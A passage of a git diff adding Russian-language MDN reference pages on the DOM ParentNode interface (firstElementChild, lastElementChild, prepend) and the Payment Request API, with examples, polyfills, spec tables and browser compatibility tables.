+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Свойства {{domxref("ParentNode")}} и {{domxref("ChildNode")}}.</li>
+</ul>
diff --git a/files/ru/web/api/parentnode/firstelementchild/index.html b/files/ru/web/api/parentnode/firstelementchild/index.html
new file mode 100644
index 0000000000..472732452a
--- /dev/null
+++ b/files/ru/web/api/parentnode/firstelementchild/index.html
@@ -0,0 +1,149 @@
+---
+title: ParentNode.firstElementChild
+slug: Web/API/ParentNode/firstElementChild
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/firstElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Доступное только для чтения свойство <strong><code>ParentNode.firstElementChild</code></strong> возвращает первый дочерный элемент объекта ({{domxref("Element")}}) или <code>null</code> если дочерних элементов нет.</p>
+
+<div class="note">
+<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>firstElementChild</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>childNode</em> = elementNodeReference.firstElementChild;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;p id="para-01"&gt;
+  &lt;span&gt;First span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstElementChild.nodeName)
+&lt;/script&gt;</pre>
+
+<p>В этом примере alert показывает 'span', что является именем тега первого дочернего узла элемента p.</p>
+
+<h2 id="Polyfill_для_Internet_Explorer_8">Polyfill для Internet Explorer 8</h2>
+
+<p>Это свойство не поддерживается браузером Internet Explorer вплоть до 9 версии, поэтому следующий сниппет может быть использован для добавления поддержки IE8:</p>
+
+<pre class="brush: js">// Source: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("firstElementChild" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "firstElementChild", {
+        get: function(){
+            for(var nodes = this.children, n, i = 0, l = nodes.length; i &lt; l; ++i)
+                if(n = nodes[i], 1 === n.nodeType) return n;
+            return null;
+        }
+    });
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ({{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ({{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} и {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Типы объектов, имплементирующие данное свойство: {{domxref("Document")}}, {{domxref("Element")}}, и {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/parentnode/index.html b/files/ru/web/api/parentnode/index.html
new file mode 100644
index 0000000000..33f9ee9ddb
--- /dev/null
+++ b/files/ru/web/api/parentnode/index.html
@@ -0,0 +1,94 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+tags:
+  - API
+  - DOM
+  - NeedsTranslation
+  - Tab
+  - TopicStub
+translation_of: Web/API/ParentNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Интерфейс <code><strong>ParentNode</strong></code> содержит методы, которые относятся к {{domxref("Node")}} объектам , у которых могут быть потомки.</p>
+
+<p><code>ParentNode</code> является сырым интерфейсом и объекты с данным типом создать нельзя; данный интерфейс имеется у {{domxref("Element")}}, {{domxref("Document")}}, и {{domxref("DocumentFragment")}} объектов.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.children")}} {{experimental_inline}} {{readonlyInline}}<br>
+ Возвращает живую  {{domxref("HTMLCollection")}}, которая содержит все объекты типа {{domxref("Element")}}, которые являются потомками данного ParentNode.<br>
+ <br>
+ {{domxref("ParentNode.firstElementChild")}} {{experimental_inline}} {{readonlyInline}}<br>
+ Возвращает {{domxref("Element")}} , который является первым потомком данного ParentNode, или null, если таковой отсутствует.<br>
+ <br>
+ {{ domxref("ParentNode.lastElementChild") }} {{experimental_inline}} {{readonlyInline}}<br>
+ Возвращает {{domxref("Element")}}, который является последним из потомков данного ParentNode, или null, если таковой отсутствует.<br>
+ <br>
+ {{ domxref("ParentNode.childElementCount") }} {{experimental_inline}} {{readonlyInline}}<br>
+ Возвращает unsigned long с количеством потомков, которые есть у объекта.</dt>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt>
+ <dd>Вставляет набор объектов типа {{domxref("Node")}} или {{domxref("DOMString")}} после последнего потомка <code>ParentNode</code>. {{domxref("DOMString")}} объекты вставлены как эквивалент {{domxref("Text")}} узлы.</dd>
+ <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt>
+ <dd>Вставляет набор объектов типа {{domxref("Node")}} или {{domxref("DOMString")}} перед первым потомком <code>ParentNode</code>. {{domxref("DOMString")}} объекты вставлены как эквивалент {{domxref("Text")}} узлы.</dd>
+ <dt>{{domxref("ParentNode.querySelector()")}}</dt>
+ <dd>Возвращает первый {{domxref("Element")}} с текущим элементом в качестве источника, который совпадает с определённой группой селекторов.</dd>
+ <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt>
+ <dd>Возвращает {{domxref("NodeList")}}, который представляет собой список элементов с текущим элементом в качестве источника, который совпадает с определённой группой селекторов.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Добавлены методы <code>append()</code> и <code>prepend()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. The <code>firstElementChild</code>, <code>lastElementChild</code>, and <code>childElementCount</code> properties are now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.<br>
+    Added the <code>children</code> property.<br>
+    Added the <code>append()</code> and <code>prepend()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}'</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Добавлено изначальное определение свойств в <code>ElementTraversal</code> чистый интерфейс и использование его в {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.ParentNode")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Чистый интерфейс {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Типы объектов, которые имплементируют данный интерфейс: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/parentnode/lastelementchild/index.html b/files/ru/web/api/parentnode/lastelementchild/index.html
new file mode 100644
index 0000000000..d625dc316f
--- /dev/null
+++ b/files/ru/web/api/parentnode/lastelementchild/index.html
@@ -0,0 +1,161 @@
+---
+title: ParentNode.lastElementChild
+slug: Web/API/ParentNode/lastElementChild
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/lastElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Свойство ParentNode.lastElementChild</strong></code> только для чтения. Возвращает последний дочерний элемент объекта или <code>null</code> если нет дочерних элементов.</p>
+
+<div class="note">
+<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>lastElementChild</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>element</em> = node.lastElementChild; </pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;ul id="foo"&gt;
+  &lt;li&gt;First  (1)&lt;/li&gt;
+  &lt;li&gt;Second (2)&lt;/li&gt;
+  &lt;li&gt;Third  (3)&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script&gt;
+var foo = document.getElementById('foo');
+// yields: Third  (3)
+console.log(foo.lastElementChild.textContent);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Polyfill_for_IE8_IE9_and_Safari">Polyfill for IE8, IE9 and Safari</h2>
+
+<pre class="brush: js">// Overwrites native 'lastElementChild' prototype.
+// Adds Document &amp; DocumentFragment support for IE9 &amp; Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.lastElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'lastElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = nodes.length - 1;
+                while (node = nodes[i--]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+
+
+<h2 id="Так_же_смотрите">Так же смотрите</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interfaces.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/parentnode/prepend/index.html b/files/ru/web/api/parentnode/prepend/index.html
new file mode 100644
index 0000000000..709a620f85
--- /dev/null
+++ b/files/ru/web/api/parentnode/prepend/index.html
@@ -0,0 +1,133 @@
+---
+title: ParentNode.prepend()
+slug: Web/API/ParentNode/prepend
+translation_of: Web/API/ParentNode/prepend
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <strong><code>ParentNode.prepend()</code></strong> вставляет множество объектов {{domxref("Node")}} или {{domxref("DOMString")}} в начало (перед первым потомком) {{domxref("ParentNode")}}. Объекты {{domxref("DOMString")}} вставляются как {{domxref("Text")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ParentNode</em>.prepend(<em>...nodesToPrepend</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>nodesToPrepend</code></dt>
+ <dd>Один или болле узлов, которые вставляются перед первым дочерним узлом в  <code>ParentNode</code>. Каждый узел может быть определен либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: Узел не может быть вставлен в указанную позицию данной иерархии.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Добавление_элемента_в_начало">Добавление элемента в начало</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ &lt;span&gt;, &lt;p&gt; ]
+</pre>
+
+<h3 id="Добавление_текста_в_начало">Добавление текста в начало</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"</pre>
+
+<h3 id="Добавление_элемента_и_текста">Добавление элемента и текста</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.prepend_не_имеет_области_видимости"><code>ParentNode.prepend()</code> не имеет области видимости</h3>
+
+<p>Метод <code>prepend()</code> не входит в область видимости оператора <code>with</code>. Смотрите {{jsxref("Symbol.unscopables")}} для детальной информации.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined </pre>
+
+<h2 id="Полифил">Полифил</h2>
+
+<p>Вы можете использовать полифил, если метод <code>prepend()</code> не доступный:</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('prepend')) {
+      return;
+    }
+    Object.defineProperty(item, 'prepend', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function prepend() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.insertBefore(docFrag, this.firstChild);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.ParentNode.prepend")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("ChildNode.before()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ru/web/api/payment_request_api/index.html b/files/ru/web/api/payment_request_api/index.html
new file mode 100644
index 0000000000..c59135cfe2
--- /dev/null
+++ b/files/ru/web/api/payment_request_api/index.html
@@ -0,0 +1,126 @@
+---
+title: Payment Request API
+slug: Web/API/Payment_Request_API
+translation_of: Web/API/Payment_Request_API
+---
+<div>{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}</div>
+
+<p><span class="seoSummary">Payment Request API предоставляет постоянный UX для продавцов и покупателей. Это не новый способ оплаты, а возможность пользователя выбрать предпочтительный способ оплаты и предоставить продавцу эту информацию.</span></p>
+
+<h2 id="Основы_и_использование_Payment_Request">Основы и использование Payment Request</h2>
+
+<p>Many problems related to online shopping-cart abandonment can be traced to checkout forms, which can be difficult and time consuming to fill out and often require multiple steps to complete. The <strong>Payment Request API</strong> is meant to reduce the number of steps needed to complete a payment online, potentially doing away with checkout forms. It aims to make the checkout process easier, by remembering a user's details, which are then passed along to a merchant hopefully without requiring a HTML form.</p>
+
+<p>Advantages of using the Payment Request API with "basic-card" (card-based payments):</p>
+
+<ul>
+ <li><strong>Fast purchase experience</strong>: Users enter their details once into the browser and are then ready to pay for goods and services on the web. They no longer have to fill out the same details repeatedly across different sites.</li>
+ <li><strong>Consistent experience on every site (that supports the API):</strong> As the payment sheet is controlled by the browser, it can tailor the experience to the user. This can include localizing the UI into the user's preferred language.</li>
+ <li><strong>Accessibility</strong>: As the browser controls the input elements of the payment sheet, it can assure consistent keyboard and screen reader accessibility on every website without developers needing to do anything. A browser could also adjust the font size or color contrast of the payment sheet, making it more comfortable for the user to make a payment.</li>
+ <li><strong>Credentials management</strong>: Users can manage their credit cards and shipping addresses directly in the browser. A browser can also sync these "credentials" across devices, making it easy for users to jump from desktop to mobile and back again when buying things.</li>
+ <li><strong>Consistent error handling:</strong> The browser can check the validity of card numbers, and can tell the user if a card has expired (or is about to expire). The browser can automatically suggest which card to use based on past usage patterns or restrictions from the merchant (e.g, "we only accept Visa or Mastercard"), or allow the user to say which is their default/favorite card.</li>
+</ul>
+
+<p>To request a payment, a web page creates a {{domxref("PaymentRequest")}} object in response to a user action that initiates a payment, such as clicking a "Purchase" button. The <code>PaymentRequest</code> allows the web page to exchange information with the user agent while the user provides input to complete the transaction.</p>
+
+<p>You can find a complete guide in <a href="/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">Using the Payment Request API</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The API is available inside cross-origin {{htmlelement("iframe")}} elements only if they have had the {{htmlattrxref("allowpaymentrequest","iframe")}} attribute set on them.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref('PaymentAddress')}}</dt>
+ <dd>An object that contains address information; used for billing and shipping addresses, for example.</dd>
+ <dt>{{domxref('PaymentRequest')}}</dt>
+ <dd>An object that provides the API for creating and managing the {{Glossary("user agent", "user agent's")}} payment interface.</dd>
+ <dt>{{domxref('PaymentRequestEvent')}}</dt>
+ <dd>An event delivered to a payment handler when a {{domxref("PaymentRequest")}} is made.</dd>
+ <dt>{{domxref('PaymentRequestUpdateEvent')}}</dt>
+ <dd>Enables the web page to update the details of the payment request in response to a user action.</dd>
+ <dt>{{domxref('PaymentMethodChangeEvent')}}</dt>
+ <dd>Represents the user changing payment instrument (e.g., switching from a credit card to debit card).</dd>
+ <dt>{{domxref('PaymentResponse')}}</dt>
+ <dd>An object returned after the user selects a payment method and approves a payment request.</dd>
+ <dt>{{domxref('MerchantValidationEvent')}}</dt>
+ <dd>Represents the browser requiring the merchant (website) to validate themselves as allowed to use a particular payment handler (e.g., registered as allowed to use Apple Pay).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Dictionaries">Dictionaries</h2>
+
+<dl>
+ <dt>{{domxref("AddressErrors")}}</dt>
+ <dd>A dictionary containing strings providing descriptive explanations of any errors in any {{domxref("PaymentAddress")}} entries which have errors.</dd>
+ <dt>{{domxref("PayerErrors")}}</dt>
+ <dd>A dictionary containing strings providing descriptive explanations of any errors in related to {{domxref("PaymentResponse")}}'s email, phone, and name attributes.</dd>
+ <dt>{{domxref("PaymentDetailsUpdate")}}</dt>
+ <dd>An object describing changes that need to be made to the payment details in the event that the server needs to update information following the instantiation of the payment interface but before the user begins to interact with it.</dd>
+</dl>
+
+<h3 id="Related_dictionaries_for_the_Basic_Card_specification">Related dictionaries for the Basic Card specification</h3>
+
+<dl>
+ <dt>{{domxref("BasicCardChangeDetails")}}</dt>
+ <dd>An object providing <em>redacted</em> address information that is provided as the {{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}} on the {{event("paymentmethodchange")}} event sent to the {{domxref("PaymentRequest")}} when the user changes payment information.</dd>
+ <dt>{{domxref("BasicCardErrors")}}</dt>
+ <dd>An object providing any error messages associated with the fields in the {{domxref("BasicCardResponse")}} object that are not valid. This is used as the value of the {{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}} property on the {{domxref("PaymentValidationErrors")}} object sent to the {{domxref("PaymentRequest")}} when an error occurs.</dd>
+ <dt>{{domxref('BasicCardRequest')}}</dt>
+ <dd>Defines an object structure for containing payment request details such as card type.</dd>
+ <dt>{{domxref('BasicCardResponse')}}</dt>
+ <dd>Defines an object structure for payment response details such as the number/expiry date of the card used to make the payment, and the billing address.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Basic Card Payment')}}</td>
+   <td>{{Spec2('Basic Card Payment')}}</td>
+   <td>Defines {{domxref("BasicCardRequest")}} and {{domxref("BasicCardResponse")}}, among other things needed for handling credit card payment</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment Method Identifiers')}}</td>
+   <td>{{Spec2('Payment Method Identifiers')}}</td>
+   <td>Defines payment method identifiers and how they are validated, and, where applicable, minted and formally registered with the W3C.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="PaymentRequest_interface">PaymentRequest interface</h3>
+
+<div>
+
+
+<p>{{Compat("api.PaymentRequest", 0)}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">Using the Payment Request API</a></li>
+ <li><a href="/en-US/docs/Web/API/Payment_Request_API/Concepts">Payment processing concepts</a></li>
+ <li><a href="https://webkit.org/blog/8182/introducing-the-payment-request-api-for-apple-pay/">Introducing the Payment Request API for Apple Pay</a></li>
+ <li><a href="https://developers.google.com/pay/api/web/guides/paymentrequest/tutorial">Google Pay API PaymentRequest Tutorial</a></li>
+ <li><a href="https://github.com/w3c/payment-request-info/wiki/FAQ">W3C Payment Request API FAQ</a></li>
+ <li>Feature Policy directive {{httpheader("Feature-Policy/payment", "payment")}}</li>
+</ul>
diff --git a/files/ru/web/api/paymentrequest/index.html b/files/ru/web/api/paymentrequest/index.html
new file mode 100644
index 0000000000..8f3f1eca7f
--- /dev/null
+++ b/files/ru/web/api/paymentrequest/index.html
@@ -0,0 +1,112 @@
+---
+title: PaymentRequest
+slug: Web/API/PaymentRequest
+tags:
+  - API
+  - Payment Request API
+  - PaymentRequest
+  - Деньги
+  - Интерфейс
+  - Коммерция
+  - Оплата
+  - Платежи
+translation_of: Web/API/PaymentRequest
+---
+<div>{{securecontext_header}}{{APIRef("Payment Request API")}}</div>
+
+<p>The <a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API's</a> <strong><code>PaymentRequest</code></strong> interface the primary access point into the API, and lets web content and apps accept payments from the end user on behalf of the operator of the site or the publisher of the app.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.PaymentRequest()','PaymentRequest()')}} {{securecontext_inline}}</dt>
+ <dd>Создаёт новый <code>PaymentRequest</code> объект.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.id')}} {{readonlyinline}}{{securecontext_inline}}</dt>
+ <dd>Уникальный идентификатор для конкретного запроса <code>PaymentRequest</code>, который можно задать через <code>details.id</code>. Если ничего не задано, по умолчанию используется UUID.</dd>
+ <dt>{{domxref('PaymentRequest.shippingAddress')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>If requested via payment options, returns the shipping address chosen by the user for the purposes of calculating shipping. This property is only populated if the constructor is called with the <code>requestShipping</code> flag set to true. Additionally, in some browsers, the parts of the address will be redacted for privacy until the user indicates they are ready to complete the transaction (i.e., they hit "Pay").</dd>
